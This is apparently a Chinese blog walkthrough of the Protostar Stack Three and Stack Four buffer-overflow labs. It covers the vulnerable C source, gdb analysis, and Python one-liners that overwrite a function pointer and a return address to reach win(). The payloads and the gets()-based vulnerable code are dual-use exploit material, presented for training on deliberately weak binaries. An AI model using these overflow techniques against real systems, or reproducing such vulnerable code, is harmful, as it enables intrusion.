Pwn-protostar靶场3 stack three,stack four


Pwn-protostar靶场3 stack three,stack four

Stack Three

程序静态分析

stack three源码:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

源代码分析

这个程序首先定义了一个win函数

void win()
{
  printf("code flow successfully changed\n");
}

调用这个win函数会输出code flow successfully changed,表示我们成功破解了程序

然后在mian函数内定义了一个指针变量fp和字符型变量buffer,buffer存储的字符大小为64位

volatile int (*fp)();
char buffer[64];

什么是指针?

在C语言中,指针是一种特殊的变量类型,它存储了一个内存地址。这个内存地址可以是其他变量或数据结构在内存中的位置

指针提供了直接访问和操作内存中数据的能力。通过指针,我们可以间接地访问、修改和传递数据,从而不需要直接对变量本身进行操作

fp = 0;

将fp的值设为0表示一个无效的指针,即它不指向任何有效的内存地址。这样做可以用来初始化指针变量,或者将指针重置为空指针

之后程序会使用gets函数接收用户的输入,并将接受到的字符串存储在buffer变量里,gets函数是一个危险的函数,他会造成缓冲区溢出

程序接受输入后会进行一个if判断

gets(buffer);

if(fp) {
    printf("calling function pointer, jumping to 0x%08x\n", fp);
    fp();
}

if(fp)检查fp是否指向了某个有效的函数。如果fp不为空(即非零),则输出calling function pointer, jumping to 0x%08x,然后执行函数指针 fp 所指向的函数

也就是说,我们需要溢出覆盖fp设置的值,将fp原本的值改为win函数的地址,之后进入if判断后,会执行win函数

汇编分析

使用gdb打开程序,输入指令查看汇编代码

set disassembly-flavor intel
disassemble main

程序最关键两行

0x08048471 <main+57>:   mov    eax,DWORD PTR [esp+0x5c]
0x08048475 <main+61>:   call   eax

它将esp+0x5c地址的值转移到了eax寄存器里,然后调用call指令执行eax寄存器里的值

也就是说,我们只要将esp+0x5c地址的内容覆盖成win函数的地址,就能成功破解程序

程序动态分析

我们在0x08048471地址处下一个断点

b *0x08048471 

然后设置一下自动运行的命令

define hook-stop
info registers   //显示寄存器里的地址
x/24wx $esp      //显示esp寄存器里的内容
x/2i $eip        //显示eip寄存器里的内容
end              //结束

运行程序,由于if判断,fp的值不能为零才能进入if判断,但是程序设置的fp的值为0,我们先输入一长串的垃圾字符,覆盖原来的值

查看esp+0x5c地址处的值

x/wx $esp+0x5c

fp函数指针的值就在图中圈出来的地方,根据计算,我们需要64个字符+win函数地址才能控制fp函数指针

这时候我们可以用objdump工具来查看win函数地址

objdump -x stack3 | grep win

或者直接gdb命令查看win地址

disassemble win

知道了win函数地址后,直接运行以下命令就能破解程序

//64个垃圾字符+win函数地址
python -c "print('A'*(4*16)+'\x24\x84\x04\x08')" | ./stack3

Stack Four

程序静态分析

stack four源码:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

这个程序很简单,就不多做介绍了,和上一个一模一样,只不过将设置的fp函数指针去掉了,我们需要自己控制程序指针进行跳转到win函数地址

直接进行程序动态分析

程序动态分析

使用gdb打开程序,输入指令查看汇编代码

set disassembly-flavor intel
disassemble main

代码很少,我们要做的只有一件事,控制ret指令的返回地址,让程序跳转到win函数地址执行参数

leave和ret指令

在汇编语言中,ret指令用于从子程序返回到调用它的主程序。当执行到ret指令时,程序会跳转到主代码的地址,继续执行主程序的代码

在汇编语言中,leave指令用于清空栈,它会清除我们这次运行程序时获取的用户输入之类的,还原之前的状态

mov esp,ebp
pop ebp

我们在leave指令的地址下一个断点

b *0x0804841d

运行程序,然后随便输入一些字符,然后查看栈里的内容,记录下来,之后会用到

然后输入n执行下一条指令ret,查看寄存器

当前eip寄存器的值为0xb7eadc76,也就是说,执行了ret指令后,程序回到了0xb7eadc76继续执行之后的命令

但是返回的地址也是在栈中的

根据计算,我们需要输入76个字符+win函数地址才能覆盖原来ret返回的地址,让程序跳转到win函数地址处执行

python -c "print('A'*(4*19)+'\xf4\x83\x04\x08')" | ./stack4

成功破解


文章作者: Pr0b1em
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 Pr0b1em !
  目录